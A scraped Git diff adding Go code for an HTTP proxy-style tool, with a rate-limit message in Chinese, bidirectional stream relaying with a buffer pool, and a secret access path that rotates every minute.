maxRequestErrorStr = "别太快了!您已经达到了允许连接的上限了"
|
||||
)
|
||||
|
||||
type tplMsg struct {
|
||||
Err template.HTML
|
||||
Msg template.HTML
|
||||
Body template.HTML
|
||||
Inner template.HTML
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var bufferPool sync.Pool
|
||||
|
||||
func poolInit() {
|
||||
makeBuffer := func() interface{} { return make([]byte, 0, 32*1024) }
|
||||
bufferPool = sync.Pool{New: makeBuffer}
|
||||
}
|
||||
|
||||
func flushingIoCopy(dst io.Writer, src io.Reader, buf []byte) (written int64, err error) {
|
||||
flusher, ok := dst.(http.Flusher)
|
||||
if !ok {
|
||||
return io.CopyBuffer(dst, src, buf)
|
||||
}
|
||||
for {
|
||||
nr, er := src.Read(buf)
|
||||
if nr > 0 {
|
||||
nw, ew := dst.Write(buf[0:nr])
|
||||
flusher.Flush()
|
||||
if nw > 0 {
|
||||
written += int64(nw)
|
||||
}
|
||||
if ew != nil {
|
||||
err = ew
|
||||
break
|
||||
}
|
||||
if nr != nw {
|
||||
err = io.ErrShortWrite
|
||||
break
|
||||
}
|
||||
}
|
||||
if er != nil {
|
||||
if er != io.EOF {
|
||||
err = er
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func dualStream(target net.Conn, clientReader io.ReadCloser, clientWriter io.Writer) error {
|
||||
stream := func(w io.Writer, r io.Reader) error {
|
||||
// copy bytes from r to w
|
||||
buf := bufferPool.Get().([]byte)
|
||||
buf = buf[0:cap(buf)]
|
||||
_, _err := flushingIoCopy(w, r, buf)
|
||||
if closeWriter, ok := w.(interface {
|
||||
CloseWrite() error
|
||||
}); ok {
|
||||
closeWriter.CloseWrite()
|
||||
}
|
||||
return _err
|
||||
}
|
||||
|
||||
go stream(target, clientReader)
|
||||
return stream(clientWriter, target)
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
uuid "github.com/satori/go.uuid"
|
||||
)
|
||||
|
||||
var (
|
||||
secureURL = "/D2170E42-63B0-40ED-B0AE-9AF6CA3AC32E"
|
||||
secretText = ""
|
||||
salt = "smart-or-strange"
|
||||
)
|
||||
|
||||
func genUUID() {
|
||||
uuidRaw := uuid.NewV4().String()
|
||||
secureURL = "/" + uuidRaw
|
||||
|
||||
secretRaw := sha256.Sum256([]byte(uuidRaw + salt))
|
||||
|
||||
dst := make([]byte, hex.EncodedLen(len(secretRaw)))
|
||||
hex.Encode(dst, secretRaw[:])
|
||||
|
||||
secretText = string(dst[:10])
|
||||
|
||||
if *debugFlag {
|
||||
log.Printf("[secret] URL:%v Secret: %v \n", secureURL, secretText)
|
||||
}
|
||||
}
|
||||
|
||||
func flashUUID() {
|
||||
d := time.Duration(time.Second * 60)
|
||||
t := time.NewTicker(d)
|
||||
defer t.Stop()
|
||||
genUUID()
|
||||
|
||||
defer t.Stop()
|
||||
for {
|
||||
<-t.C
|
||||
genUUID()
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user